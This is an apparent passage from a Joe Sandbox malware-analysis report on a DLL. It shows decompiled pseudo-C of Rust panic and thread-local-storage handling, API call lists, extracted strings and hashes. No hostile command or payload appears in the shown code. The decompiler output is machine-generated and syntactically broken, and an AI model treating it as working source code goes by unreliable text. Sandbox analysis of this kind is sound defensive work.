											_t312 = _t310 ^ 0x7ef2a91e | _t197 ^ 0xecc7bcf4;
											__eflags = _t312;
											if(__eflags != 0) {
												_t199 = _v40(_v36);
												_t336 = _t336 + 4;
												__eflags = _t312 ^ 0xe43a67d8 | _t199 ^ 0xbae7a625;
												if(__eflags != 0) {
													goto L62;
												}
												_t251 = _v36;
												_t276 =  *_t251;
												_t201 = _t251[2];
												goto L21;
											}
											_t252 = _v36;
											_t276 =  *_t252;
											_t201 = _t252[1];
											goto L21;
										}
										_t267 = 1;
										_t332 = 3;
										goto L84;
									}
									__eflags = _t326 - 1;
									if(_t326 != 1) {
										goto L83;
									}
									__eflags =  *_t248 - 0x30;
									if( *_t248 != 0x30) {
										goto L83;
									}
									_t267 = 4;
									_t332 = 1;
									goto L84;
								}
								_t204 = GetProcessHeap();
								__eflags = _t204;
								if(__eflags == 0) {
									goto L67;
								}
								 *0x6e5ae128 = _t204;
								goto L66;
							} else {
								_t332 = _t194;
								__eflags = _t194 - 1;
								if(_t194 != 1) {
									L75:
									_t277 =  *(_t332 + 8);
									__eflags =  *_t332;
									_t136 = _t332 + 4; // 0x4
									_t330 = _t136;
									 *_t332 = 1;
									 *(_t332 + 4) = 0;
									 *(_t332 + 8) = 0;
									if(__eflags != 0) {
										__eflags = _t277;
										if(__eflags != 0) {
											asm("lock dec dword [ecx]");
											if(__eflags == 0) {
												_t194 = E6E55C640(_t277);
											}
										}
									}
									goto L26;
								}
								_v84 = 0;
								_v36 = 0;
								_t210 = 0;
								__eflags = 0;
								goto L47;
							}
						} else {
							_t330 = _t194;
							if( *_t194 != 1) {
								goto L42;
							}
							_t330 = _t330 + 4;
							L26:
							if( *_t330 != 0) {
								E6E5795A0(_t264, "already borrowedC:cmfltobzsqiwzwswifceeeiuunqkihdnyjizwfcsrqtsqkmwekwaanfzackndqagesnhktvjovmkrgyplrusstvgwloxgtnnoxmtpmkzzsudqjpdkuwbmncfcubd", 0x10, __eflags,  &_v68, 0x6e59f860, 0x6e59ff30);
								_t336 = _t336 + 0xc;
								goto L61;
							}
							 *_t330 = 0xffffffff;
							_t332 =  *(_t330 + 4);
							if(_t332 == 0) {
								_v36 = _t330;
								_v20 = 8;
								_t247 = E6E55C4D0(_t264, _t330, _t332);
								_t330 = _v36;
								_t332 = _t247;
								_t194 =  *(_t330 + 4);
								_t347 = _t194;
								if(_t347 != 0) {
									asm("lock dec dword [eax]");
									if(_t347 == 0) {
										_t280 =  *(_t330 + 4);
										_t194 = E6E55C640(_t280);
									}
								}
								 *(_t330 + 4) = _t332;
							}
							asm("lock inc dword [esi]");
							if(_t347 <= 0) {
								L16:
								asm("ud2");
								asm("ud2");
								goto L17;
							} else {
								 *_t330 =  *_t330 + 1;
								_v84 = _t332;
								_v36 = _t332;
								if(_t332 != 0) {
									_t209 =  *(_t332 + 0x10);
									__eflags = _t209;
									_t280 =  ==  ? _t209 : _t332 + 0x10;
									if(__eflags != 0) {
										L103:
										_t210 =  *_t280;
										_t280 =  *((intOrPtr*)(_t280 + 4)) - 1;
										L104:
										_v20 = 3;
										L47:
										_v124 = 0x6e5a010c;
										_v120 = 4;
										_v72 = 0;
										_v88 = 0;
										_v92 = 0;
										_v116 = 0;
										_v20 = 3;
										_t317 =  !=  ? _t210 : "<unnamed>thread \'\' panicked at \'\', ";
										_t212 =  !=  ? _t280 : 9;
										_v80 =  !=  ? _t210 : "<unnamed>thread \'\' panicked at \'\', ";
										_t318 =  &_v124;
										_v76 =  !=  ? _t280 : 9;
										_v68 =  &_v80;
										_v64 = 0x6e55dca0;
										_v60 =  &_v100;
										_v56 = 0x6e55dca0;
										_v52 =  &_v148;
										_v48 = E6E55DCC0;
										_v108 =  &_v68;
										_v104 = 3;
										if(E6E55D0F0( &_v92, _t210) == 3) {
											_v20 = 7;
											_v40 = _t318;
											 *((intOrPtr*)( *((intOrPtr*)(_t318 + 4))))( *_t318);
											_t336 = _t336 + 4;
											_t335 = _v40;
											_t295 =  *((intOrPtr*)(_t335 + 4));
											if( *((intOrPtr*)(_t295 + 4)) != 0) {
												_t245 =  *_t335;
												if( *((intOrPtr*)(_t295 + 8)) >= 9) {
													_t245 =  *(_t245 - 4);
												}
												HeapFree( *0x6e5ae128, 0, _t245);
											}
											HeapFree( *0x6e5ae128, 0, _t335);
										}
										_t265 = _v128;
										_t219 =  <  ? (_t265 + 0x000000fd & 0x000000ff) + 1 : 0;
										if(_t219 == 0) {
											__imp__AcquireSRWLockExclusive(0x6e5ae10c);
											_v68 = 0x6e59fad0;
											_v64 = 1;
											_v152 = 0x6e5ae10c;
											_v41 = _t265;
											_v60 = 0;
											_v20 = 6;
											_v124 =  &_v41;
											_v120 = E6E55DD30;
											_v52 =  &_v124;
											_v48 = 1;
											_t222 = E6E55D0F0( &_v92, __eflags);
											_t333 =  &_v68;
											__imp__ReleaseSRWLockExclusive(0x6e5ae10c);
											__eflags = _t222 - 3;
											if(__eflags != 0) {
												goto L94;
											}
											_v20 = 5;
											_v40 = _t333;
											 *((intOrPtr*)( *((intOrPtr*)(_t333 + 4))))( *_t333);
											_t336 = _t336 + 4;
											goto L89;
										} else {
											if(_t219 == 1) {
												L94:
												_t360 = _v36;
												if(_t360 != 0) {
													asm("lock dec dword [eax]");
													if(_t360 == 0) {
														E6E55C640(_v84);
													}
												}
												_t334 = _v140;
												_t331 = _v136;
												_t361 = _v72;
												if(_t361 != 0) {
													asm("lock dec dword [eax]");
													if(_t361 == 0) {
														E6E55DA70(_v72);
													}
												}
												__imp__ReleaseSRWLockShared(0x6e5ae11c);
												_t362 = _v132 - 1;
												_v20 = 0xffffffff;
												if(_v132 > 1) {
													_v68 = 0x6e5a029c;
													_v64 = 1;
													_v60 = 0;
													_v52 = 0x6e59f570;
													_v76 = 0;
													_v80 = 0;
													_v48 = 0;
													_t226 = E6E55D0F0( &_v80, _t362);
													_v120 =  &_v68;
													_v124 = _t226;
													E6E55D2B0( &_v124);
													asm("ud2");
													asm("ud2");
												}
												_t280 = _t331;
												E6E55D290(_t280, _t334);
												asm("ud2");
												goto L103;
											}
											 *0x6e5ad040 = 0;
											_t356 =  *0x6e5ad040;
											if( *0x6e5ad040 == 0) {
												goto L94;
											}
											_t324 =  &_v68;
											_v68 = 0x6e5a017c;
											_v64 = 1;
											_v60 = 0;
											_v52 = 0x6e59f570;
											_v48 = 0;
											_v20 = 3;
											if(E6E55D0F0( &_v92, _t356) != 3) {
												goto L94;
											}
											_v40 = _t324;
											_v20 = 4;
											 *((intOrPtr*)( *((intOrPtr*)(_t324 + 4))))( *_t324);
											_t336 = _t336 + 4;
											L89:
											_t291 =  *((intOrPtr*)(_v40 + 4));
											if( *((intOrPtr*)(_t291 + 4)) != 0) {
												_t235 =  *_v40;
												if( *((intOrPtr*)(_t291 + 8)) >= 9) {
													_t235 =  *(_t235 - 4);
												}
												HeapFree( *0x6e5ae128, 0, _t235);
											}
											HeapFree( *0x6e5ae128, 0, _v40);
											goto L94;
										}
									}
									_t210 = 0;
									goto L104;
								}
								_t210 = 0;
								goto L47;
							}
						}
					}
				}
			}

0x6e55c70c
0x6e55c70f
0x6e55c716
0x6e55c71d
0x6e55c722
0x6e55c727
0x6e55c730
0x6e55c733
0x6e55c739
0x6e55c741
0x6e55c746
0x6e55c748
0x6e55c762
0x6e55c767
0x6e55c76a
0x6e55c76a
0x6e55c76e
0x6e55c771
0x6e55c774
0x6e55c776
0x6e55c7ea
0x6e55c7ed
0x6e55c84a
0x6e55c851
0x6e55c85b
0x6e55c862
0x6e55c869
0x6e55c86d
0x6e55c874
0x6e55c87b
0x6e55c881
0x6e55c884
0x6e55c887
0x6e55c88d
0x6e55c894
0x6e55c897
0x6e55c89e
0x6e55c8a3
0x6e55c8a5
0x6e55c8ac
0x6e55c8b4
0x6e55c8b7
0x6e55c8b9
0x6e55c8bc
0x6e55c8bc
0x6e55c8bf
0x6e55c8c2
0x6e55c8c6
0x6e55c8c8
0x6e55c8ca
0x6e55c8ce
0x6e55c8d0
0x6e55c8d0
0x6e55c8dc
0x6e55c8dc
0x6e55c8ea
0x6e55c8ea
0x00000000
0x6e55c8a5
0x6e55c7f2
0x6e55c7f5
0x6e55c7fc
0x6e55c803
0x6e55c80a
0x6e55c811
0x6e55c815
0x6e55c81c
0x6e55c823
0x6e55c828
0x6e55c82a
0x00000000
0x6e55c830
0x6e55c835
0x6e55c83d
0x6e55c840
0x6e55c842
0x00000000
0x6e55c842
0x6e55c77d
0x6e55c77d
0x6e55c785
0x6e55c78b
0x6e55c795
0x6e55c79c
0x6e55c7a3
0x6e55c7a9
0x6e55c7ac
0x6e55c7af
0x6e55c7b2
0x6e55c7b5
0x6e55c7ba
0x6e55c7bd
0x6e55c7bf
0x6e55c8f3
0x6e55c8f3
0x6e55c8f6
0x6e55c8f8
0x6e55c9cb
0x6e55c9d0
0x6e55c9d3
0x6e55c9d6
0x6e55cbd7
0x00000000
0x6e55cbd7
0x6e55c9dc
0x6e55c9df
0x6e55cbd0
0x00000000
0x6e55cbd0
0x6e55c9e5
0x6e55c9e7
0x00000000
0x00000000
0x6e55c9f0
0x6e55c9f5
0x6e55c9f8
0x6e55c9fb
0x6e55c9fd
0x00000000
0x00000000
0x6e55ca03
0x00000000
0x6e55ca03
0x6e55c8fe
0x00000000
0x6e55c7c5
0x6e55c7dd
0x6e55c7e2
0x6e55cbfe
0x6e55cbfe
0x6e55cc00
0x6e55cc00
0x6e55cc05
0x6e55c933
0x6e55c933
0x6e55c936
0x6e55c939
0x6e55c940
0x6e55c942
0x6e55c947
0x6e55c947
0x6e55c94d
0x6e55c956
0x6e55ca33
0x6e55ca33
0x6e55ca38
0x6e55ca3a
0x6e55ca3c
0x6e55ca41
0x6e55ca41
0x6e55ca47
0x6e55ca4d
0x6e55ca4f
0x6e55cc0f
0x6e55cc14
0x6e55cc16
0x6e55cc26
0x6e55cc2b
0x6e55cc30
0x6e55cc32
0x6e55cc72
0x6e55cc78
0x6e55cc7f
0x6e55cc81
0x6e55cc86
0x6e55cc88
0x6e55cc8f
0x6e55cc92
0x6e55cc97
0x6e55cc97
0x6e55cc9c
0x00000000
0x6e55cc9c
0x6e55cc34
0x6e55cc3e
0x6e55cc43
0x6e55cc45
0x6e55cc45
0x6e55cc48
0x6e55cc4b
0x6e55cc4e
0x6e55ccf8
0x6e55ccfe
0x6e55cd09
0x6e55cd09
0x6e55cd0e
0x6e55cd0e
0x6e55cd10
0x6e55cd10
0x6e55cd12
0x6e55cd1d
0x6e55cd1d
0x6e55cd22
0x6e55cd22
0x6e55cd2d
0x6e55cd35
0x6e55cd38
0x6e55cd3b
0x6e55cd3b
0x6e55cd3b
0x6e55c901
0x6e55c901
0x6e55c907
0x6e55c90a
0x6e55c90a
0x6e55c910
0x6e55c913
0x6e55c915
0x6e55c923
0x6e55c923
0x6e55c925
0x6e55ca0d
0x6e55ca10
0x6e55ca1e
0x6e55ca20
0x00000000
0x00000000
0x6e55ca26
0x6e55ca29
0x6e55ca2b
0x00000000
0x6e55ca2b
0x6e55c92b
0x6e55c92e
0x6e55c930
0x00000000
0x6e55c930
0x6e55cd00
0x6e55cd02
0x00000000
0x6e55cd02
0x6e55cc54
0x6e55cc57
0x00000000
0x00000000
0x6e55cc5d
0x6e55cc60
0x00000000
0x00000000
0x6e55cc66
0x6e55cc68
0x00000000
0x6e55cc68
0x6e55cc18
0x6e55cc1d
0x6e55cc1f
0x00000000
0x00000000
0x6e55cc21
0x00000000
0x6e55ca55
0x6e55ca55
0x6e55ca57
0x6e55ca5a
0x6e55cca2
0x6e55cca2
0x6e55cca5
0x6e55cca8
0x6e55cca8
0x6e55ccab
0x6e55ccb1
0x6e55ccb8
0x6e55ccbf
0x6e55ccc5
0x6e55ccc7
0x6e55cccd
0x6e55ccd0
0x6e55ccd6
0x6e55ccd6
0x6e55ccd0
0x6e55ccc7
0x00000000
0x6e55ccbf
0x6e55ca60
0x6e55ca67
0x6e55ca6e
0x6e55ca6e
0x00000000
0x6e55ca6e
0x6e55c95c
0x6e55c95f
0x6e55c961
0x00000000
0x00000000
0x6e55c967
0x6e55c96a
0x6e55c96d
0x6e55cbf6
0x6e55cbfb
0x00000000
0x6e55cbfb
0x6e55c973
0x6e55c979
0x6e55c97e
0x6e55c980
0x6e55c983
0x6e55c98a
0x6e55c98f
0x6e55c992
0x6e55c994
0x6e55c997
0x6e55c999
0x6e55c99b
0x6e55c99e
0x6e55c9a0
0x6e55c9a3
0x6e55c9a3
0x6e55c99e
0x6e55c9a8
0x6e55c9a8
0x6e55c9ab
0x6e55c9ae
0x6e55c8ef
0x6e55c8ef
0x6e55c8f1
0x00000000
0x6e55c9b4
0x6e55c9b4
0x6e55c9b8
0x6e55c9bb
0x6e55c9be
0x6e55cce0
0x6e55cce6
0x6e55cce8
0x6e55cceb
0x6e55cea2
0x6e55cea2
0x6e55cea7
0x6e55cea8
0x6e55cea8
0x6e55ca70
0x6e55ca77
0x6e55ca7e
0x6e55ca85
0x6e55ca8c
0x6e55ca90
0x6e55ca97
0x6e55ca9e
0x6e55caa5
0x6e55caad
0x6e55cab0
0x6e55cab6
0x6e55cab9
0x6e55cabf
0x6e55cac5
0x6e55cacc
0x6e55cad5
0x6e55cadc
0x6e55cae2
0x6e55cae9
0x6e55caec
0x6e55cafa
0x6e55cb01
0x6e55cb09
0x6e55cb0c
0x6e55cb0e
0x6e55cb11
0x6e55cb14
0x6e55cb1b
0x6e55cb1d
0x6e55cb23
0x6e55cb25
0x6e55cb25
0x6e55cb31
0x6e55cb31
0x6e55cb3f
0x6e55cb3f
0x6e55cb44
0x6e55cb55
0x6e55cb5a
0x6e55cd4b
0x6e55cd5a
0x6e55cd61
0x6e55cd68
0x6e55cd72
0x6e55cd75
0x6e55cd7c
0x6e55cd83
0x6e55cd89
0x6e55cd90
0x6e55cd93
0x6e55cd9a
0x6e55cd9f
0x6e55cda8
0x6e55cdae
0x6e55cdb1
0x00000000
0x00000000
0x6e55cdb8
0x6e55cdc0
0x6e55cdc3
0x6e55cdc5
0x00000000
0x6e55cb60
0x6e55cb63
0x6e55ce00
0x6e55ce03
0x6e55ce05
0x6e55ce07
0x6e55ce0a
0x6e55ce0f
0x6e55ce0f
0x6e55ce0a
0x6e55ce17
0x6e55ce1d
0x6e55ce23
0x6e55ce25
0x6e55ce27
0x6e55ce2a
0x6e55ce2f
0x6e55ce2f
0x6e55ce2a
0x6e55ce39
0x6e55ce3f
0x6e55ce43
0x6e55ce4a
0x6e55ce52
0x6e55ce59
0x6e55ce60
0x6e55ce67
0x6e55ce6e
0x6e55ce72
0x6e55ce79
0x6e55ce80
0x6e55ce88
0x6e55ce8b
0x6e55ce8e
0x6e55ce93
0x6e55ce95
0x6e55ce95
0x6e55ce97
0x6e55ce9b
0x6e55cea0
0x00000000
0x6e55cea0
0x6e55cb6b
0x6e55cb71
0x6e55cb73
0x00000000
0x00000000
0x6e55cb7c
0x6e55cb7f
0x6e55cb86
0x6e55cb8d
0x6e55cb94
0x6e55cb9b
0x6e55cba2
0x6e55cbb0
0x00000000
0x00000000
0x6e55cbbb
0x6e55cbbe
0x6e55cbc6
0x6e55cbc8
0x6e55cdc8
0x6e55cdcb
0x6e55cdd2
0x6e55cddb
0x6e55cddd
0x6e55cddf
0x6e55cddf
0x6e55cdeb
0x6e55cdeb
0x6e55cdfb
0x00000000
0x6e55cdfb
0x6e55cb5a
0x6e55ccf1
0x00000000
0x6e55ccf1
0x6e55c9c4
0x00000000
0x6e55c9c4
0x6e55c9ae
0x6e55c956
0x6e55c7bf

APIs

Part of subcall function 6E55D000: TlsGetValue.KERNEL32(00000000,00000001,6E55C746), ref: 6E55D00B
Part of subcall function 6E55D000: TlsGetValue.KERNEL32(00000000), ref: 6E55D043

AcquireSRWLockShared.KERNEL32(6E5AE11C), ref: 6E55C785
HeapFree.KERNEL32(00000000,00000000), ref: 6E55C8DC
HeapFree.KERNEL32(00000000,?), ref: 6E55C8EA
TlsGetValue.KERNEL32(00000000), ref: 6E55C94D
TlsGetValue.KERNEL32(00000000), ref: 6E55CA47
HeapFree.KERNEL32(00000000,00000000), ref: 6E55CB31
HeapFree.KERNEL32(00000000,?), ref: 6E55CB3F
GetProcessHeap.KERNEL32 ref: 6E55CC18
HeapAlloc.KERNEL32(00E70000,00000000,00000010), ref: 6E55CC2B
TlsSetValue.KERNEL32(00000000,00000000,00E70000,00000000,00000010), ref: 6E55CC9C
HeapFree.KERNEL32(00000000,00000000,00E70000,00000000,00000010), ref: 6E55CD1D

Strings

full, xrefs: 6E55CCF8
Box<dyn Any><unnamed>thread '' panicked at '', , xrefs: 6E55CC00
cannot access a Thread Local Storage value during or after destructionC:kqwvpwvvlwjdcfhskugiowpmgqvcpfwggcvmmylhvkfknbiwgoixhewssvmqfpwemyruhmqomiebebgwzyjtgnzgjfkbtcehpwhopimlufuwcaldobojssciqoa, xrefs: 6E55C74D, 6E55C7C8
already borrowedC:cmfltobzsqiwzwswifceeeiuunqkihdnyjizwfcsrqtsqkmwekwaanfzackndqagesnhktvjovmkrgyplrusstvgwloxgtnnoxmtpmkzzsudqjpdkuwbmncfcubd, xrefs: 6E55CBE1

Memory Dump Source

Source File: 00000000.00000002.1101112899.000000006E551000.00000020.00020000.sdmp, Offset: 6E550000, based on PE: true

Associated: 00000000.00000002.1101062190.000000006E550000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101169948.000000006E57A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101230201.000000006E5AD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.1101250960.000000006E5AF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.1101284634.000000006E5B0000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e550000_loaddll32.jbxd

Similarity

API ID: Heap$FreeValue$AcquireAllocLockProcessShared
String ID: Box<dyn Any><unnamed>thread '' panicked at '', $already borrowedC:cmfltobzsqiwzwswifceeeiuunqkihdnyjizwfcsrqtsqkmwekwaanfzackndqagesnhktvjovmkrgyplrusstvgwloxgtnnoxmtpmkzzsudqjpdkuwbmncfcubd$cannot access a Thread Local Storage value during or after destructionC:kqwvpwvvlwjdcfhskugiowpmgqvcpfwggcvmmylhvkfknbiwgoixhewssvmqfpwemyruhmqomiebebgwzyjtgnzgjfkbtcehpwhopimlufuwcaldobojssciqoa$full
API String ID: 2275035175-262129955
Opcode ID: 38084a4f2274d5c722e3609167fb97f8699257f6ed4b9072427225710daae9cd
Instruction ID: 953e84680e9158b8d7fb2b2b63c88a01998cfad3893c879f67d3640799115dde
Opcode Fuzzy Hash: 38084a4f2274d5c722e3609167fb97f8699257f6ed4b9072427225710daae9cd
Instruction Fuzzy Hash: 5A1227709002198FEB10CFE8C8947AEBBF5FB49314F20856AD515AF350EB75A951CF91

Uniqueness

Uniqueness Score: -1.00%

Function 6E55C6D0, Relevance: 24.9, APIs: 12, Strings: 2, Instructions: 409
memoryCOMMON

Download Yara Rule

C-Code - Quality: 64%

			E6E55C6D0(long _a4, signed int _a8) {
				intOrPtr _v4;
				void* _v20;
				void _v28;
				intOrPtr _v32;
				void* _v36;
				void* _v40;
				char _v41;
				long _v48;
				long* _v52;
				intOrPtr _v56;
				long _v60;
				void _v64;
				long* _v68;
				long _v72;
				char _v76;
				long* _v80;
				void* _v84;
				char _v88;
				long _v92;
				char* _v96;
				long _v100;
				void* _v104;
				void** _v108;
				void* _v112;
				long _v116;
				void* _v120;
				long _v124;
				char _v128;
				intOrPtr _v132;
				void _v136;
				void* _v140;
				intOrPtr _v144;
				signed int _v148;
				intOrPtr _v152;
				intOrPtr* _t193;
				void* _t197;
				void _t198;
				intOrPtr* _t199;
				signed int _t200;
				signed int _t202;
				char* _t204;
				long _t205;
				long _t206;
				void* _t207;
				void* _t208;
				long _t209;
				void _t212;
				void _t213;
				void* _t222;
				void* _t225;
				long _t229;
				void* _t238;
				void* _t248;
				void* _t250;
				void* _t251;
				char** _t254;
				char** _t255;
				void* _t259;
				void* _t263;
				void _t268;
				char _t269;
				signed char _t271;
				void* _t274;
				void _t275;
				intOrPtr _t278;
				void* _t280;
				char* _t281;
				void _t282;
				void _t285;
				intOrPtr _t296;
				intOrPtr _t300;
				void _t303;
				long _t307;
				intOrPtr _t312;
				void* _t314;
				void* _t315;
				signed int _t316;
				signed int _t318;
				void* _t324;
				intOrPtr* _t330;
				long _t332;
				void* _t333;
				void* _t337;
				void _t338;
				void* _t340;
				void* _t341;
				void* _t342;
				void* _t343;
				void _t346;
				void* _t347;
				void* _t348;
				void* _t359;
				void* _t372;
				long _t373;

				 *_t346 = _t274;
				_v4 = _t312;
				_t275 = _t346;
				_push(_a4);
				_push(0);
				L1();
				_t347 = _t346 + 8;
				asm("ud2");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				_t348 = _t347 - 0x88;
				_v40 = _t348;
				_v28 = 0xffffffff;
				_v32 = 0x6e5639a0;
				_t268 = _t275;
				_t340 = 1;
				_t337 = 0x6e5a01dc;
				_v36 =  *[fs:0x0];
				 *[fs:0x0] =  &_v36;
				asm("lock xadd [0x6e5ae120], esi");
				_t193 = E6E55D000(_t268, 0x6e5a01dc);
				_t349 = _t193;
				if(_t193 == 0) {
					_t193 = E6E5795A0(_t268,  &M6E59F8F7, 0x46, _t349,  &_v68, 0x6e59f870, 0x6e59f9bc);
					_t348 = _t348 + 0xc;
					asm("ud2");
				}
				_t314 = _a8;
				_t278 =  *_t193 + 1;
				 *_t193 = _t278;
				if(_t340 < 0 || _t278 >= 3) {
					__eflags = _t278 - 2;
					if(__eflags <= 0) {
						_v124 = 0x6e59f570;
						_v120 = 0x6e59f824;
						_v68 = 0x6e5a0260;
						_v64 = 2;
						_v96 = 0;
						_v100 = 0;
						_v60 = 0;
						_v116 = _a4;
						_v112 = _t314;
						_t315 =  &_v68;
						_v80 =  &_v124;
						_v76 = E6E552470;
						_v52 =  &_v80;
						_v48 = 1;
						_t197 = E6E55D0F0( &_v100, __eflags);
						__eflags = _t197 - 3;
						if(_t197 == 3) {
							_v20 = 0;
							_v36 = _t315;
							 *((intOrPtr*)( *((intOrPtr*)(_t315 + 4))))( *_t315);
							_t348 = _t348 + 4;
							L12:
							_t340 = _v36;
							_t307 =  *(_t340 + 4);
							__eflags =  *(4 + _t307);
							if( *(4 + _t307) != 0) {
								HeapFree( *0x6e5ae128, 0, _t259);
							}
							_t197 = HeapFree( *0x6e5ae128, 0, _t340);
						}
						goto L17;
					}
					_t333 =  &_v68;
					_v68 = 0x6e5a0224;
					_v64 = 1;
					_v60 = 0;
					_v52 = 0x6e59f570;
					_v120 = 0;
					_v124 = 0;
					_v48 = 0;
					_t197 = E6E55D0F0( &_v124, __eflags);
					__eflags = _t197 - 3;
					if(_t197 != 3) {
						goto L17;
					} else {
						_v20 = 1;
						_v36 = _t333;
						 *((intOrPtr*)( *((intOrPtr*)(_t333 + 4))))( *_t333);
						_t348 = _t348 + 4;
						goto L12;
					}
				} else {
					_v132 = _t278;
					__imp__AcquireSRWLockShared(0x6e5ae11c);
					_v144 = 0x6e5ae11c;
					_v20 = 2;
					_v136 = _t268;
					_v140 = _t337;
					_t263 =  *((intOrPtr*)(_t337 + 0x10))(_t268);
					_t348 = _t348 + 4;
					_v36 = _t263;
					_v40 = _t314;
					_t197 = E6E55D000(_t268, _t337);
					_t337 = _v40;
					_t352 = _t197;
					if(_t197 != 0) {
						L18:
						__eflags =  *_t197 - 1;
						_t280 = 1;
						if( *_t197 <= 1) {
							_t198 =  *0x6e5ae110; // 0x0
							_t316 = _a8;
							__eflags = _t198 - 2;
							if(_t198 == 2) {
								_t280 = 0;
								goto L20;
							}
							__eflags = _t198 - 1;
							if(_t198 == 1) {
								_t280 = 4;
								goto L20;
							}
							__eflags = _t198;
							if(_t198 != 0) {
								goto L20;
							}
							E6E55D380(_t268,  &_v68, _t337, _t340);
							_t337 = _v40;
							_t251 = _v68;
							__eflags = _t251;
							if(_t251 != 0) {
								goto L69;
							}
							_t271 = 5;
							goto L87;
						}
						_t316 = _a8;
						goto L20;
					} else {
						E6E5795A0(_t268,  &M6E59F8F7, 0x46, _t352,  &_v68, 0x6e59f870, 0x6e59f9bc);
						_t348 = _t348 + 0xc;
						L62:
						asm("ud2");
						L63:
						_t281 = "Box<dyn Any><unnamed>thread \'\' panicked at \'\', ";
						_t204 = 0xc;
						L22:
						_v100 = _t281;
						_v96 = _t204;
						_t205 =  *0x6e5ad044; // 0x0
						if(_t205 == 0) {
							_t285 = 0x6e5ad044;
							_t205 = E6E562960(_t268, 0x6e5ad044, _t337, _t340);
						}
						_t197 = TlsGetValue(_t205);
						if(_t197 <= 1) {
							L43:
							_t206 =  *0x6e5ad044; // 0x0
							__eflags = _t206;
							if(_t206 == 0) {
								_t285 = 0x6e5ad044;
								_t206 = E6E562960(_t268, 0x6e5ad044, _t337, _t340);
							}
							_t197 = TlsGetValue(_t206);
							__eflags = _t197;
							if(_t197 == 0) {
								_t207 =  *0x6e5ae128; // 0xe70000
								__eflags = _t207;
								if(_t207 != 0) {
									L67:
									_t208 = HeapAlloc(_t207, 0, 0x10);
									__eflags = _t208;
									if(__eflags != 0) {
										 *_t208 = 0;
										 *(_t208 + 0xc) = 0x6e5ad044;
										_t340 = _t208;
										_t209 =  *0x6e5ad044; // 0x0
										__eflags = _t209;
										if(_t209 == 0) {
											_v36 = _t340;
											_t209 = E6E562960(_t268, 0x6e5ad044, _t337, _t340);
											_t340 = _v36;
										}
										_t197 = TlsSetValue(_t209, _t340);
										goto L76;
									}
									L68:
									_t251 = E6E5792F0(_t268, 0x10, 4, _t337, _t340, __eflags);
									asm("ud2");
									L69:
									_t332 = _v60;
									_t303 = _v64;
									__eflags = _t332 - 4;
									if(_t332 == 4) {
										__eflags =  *_t251 - 0x6c6c7566;
										if( *_t251 != 0x6c6c7566) {
											L84:
											_t340 = 2;
											_t271 = 0;
											__eflags = 0;
											L85:
											__eflags = _t303;
											if(_t303 != 0) {
												HeapFree( *0x6e5ae128, 0, _t251);
											}
											L87:
											__eflags = _t271 - 5;
											_t316 = _a8;
											_t273 =  !=  ? _t340 : 1;
											_t280 =  !=  ? _t271 & 0x000000ff : 4;
											_t144 =  !=  ? _t340 : 1;
											_t268 =  *0x6e5ae110;
											 *0x6e5ae110 =  !=  ? _t340 : 1;
											L20:
											_v148 = _t316;
											_v128 = _t280;
											_t61 = _t337 + 0xc; // 0x6e563290
											_t199 =  *_t61;
											_v40 = _t199;
											_t200 =  *_t199(_v36);
											_t348 = _t348 + 4;
											_t318 = _t316 ^ 0x7ef2a91e | _t200 ^ 0xecc7bcf4;
											__eflags = _t318;
											if(__eflags != 0) {
												_t202 = _v40(_v36);
												_t348 = _t348 + 4;
												__eflags = _t318 ^ 0xe43a67d8 | _t202 ^ 0xbae7a625;
												if(__eflags != 0) {
													goto L63;
												}
												_t254 = _v36;
												_t281 =  *_t254;
												_t204 = _t254[2];
												goto L22;
											}
											_t255 = _v36;
											_t281 =  *_t255;
											_t204 = _t255[1];
											goto L22;
										}
										_t271 = 1;
										_t340 = 3;
										goto L85;
									}
									__eflags = _t332 - 1;
									if(_t332 != 1) {
										goto L84;
									}
									__eflags =  *_t251 - 0x30;
									if( *_t251 != 0x30) {
										goto L84;
									}
									_t271 = 4;
									_t340 = 1;
									goto L85;
								}
								_t207 = GetProcessHeap();
								__eflags = _t207;
								if(__eflags == 0) {
									goto L68;
								}
								 *0x6e5ae128 = _t207;
								goto L67;
							} else {
								_t340 = _t197;
								__eflags = _t197 - 1;
								if(_t197 != 1) {
									L76:
									_t282 =  *(_t340 + 8);
									__eflags =  *_t340;
									_t138 = _t340 + 4; // 0x4
									_t337 = _t138;
									 *_t340 = 1;
									 *(_t340 + 4) = 0;
									 *(_t340 + 8) = 0;
									if(__eflags != 0) {
										__eflags = _t282;
										if(__eflags != 0) {
											asm("lock dec dword [ecx]");
											if(__eflags == 0) {
												_t197 = E6E55C640(_t282);
											}
										}
									}
									goto L27;
								}
								_v84 = 0;
								_v36 = 0;
								_t213 = 0;
								__eflags = 0;
								goto L48;
							}
						} else {
							_t337 = _t197;
							if( *_t197 != 1) {
								goto L43;
							}
							_t337 = _t337 + 4;
							L27:
							if( *_t337 != 0) {
								E6E5795A0(_t268, "already borrowedC:cmfltobzsqiwzwswifceeeiuunqkihdnyjizwfcsrqtsqkmwekwaanfzackndqagesnhktvjovmkrgyplrusstvgwloxgtnnoxmtpmkzzsudqjpdkuwbmncfcubd", 0x10, __eflags,  &_v68, 0x6e59f860, 0x6e59ff30);
								_t348 = _t348 + 0xc;
								goto L62;
							}
							 *_t337 = 0xffffffff;
							_t340 =  *(_t337 + 4);
							if(_t340 == 0) {
								_v36 = _t337;
								_v20 = 8;
								_t250 = E6E55C4D0(_t268, _t337, _t340);
								_t337 = _v36;
								_t340 = _t250;
								_t197 =  *(_t337 + 4);
								_t359 = _t197;
								if(_t359 != 0) {
									asm("lock dec dword [eax]");
									if(_t359 == 0) {
										_t285 =  *(_t337 + 4);
										_t197 = E6E55C640(_t285);
									}
								}
								 *(_t337 + 4) = _t340;
							}
							asm("lock inc dword [esi]");
							if(_t359 <= 0) {
								L17:
								asm("ud2");
								asm("ud2");
								goto L18;
							} else {
								 *_t337 =  *_t337 + 1;
								_v84 = _t340;
								_v36 = _t340;
								if(_t340 != 0) {
									_t212 =  *(_t340 + 0x10);
									__eflags = _t212;
									_t285 =  ==  ? _t212 : _t340 + 0x10;
									__eflags = _t285;
									if(__eflags != 0) {
										L104:
										_t213 =  *_t285;
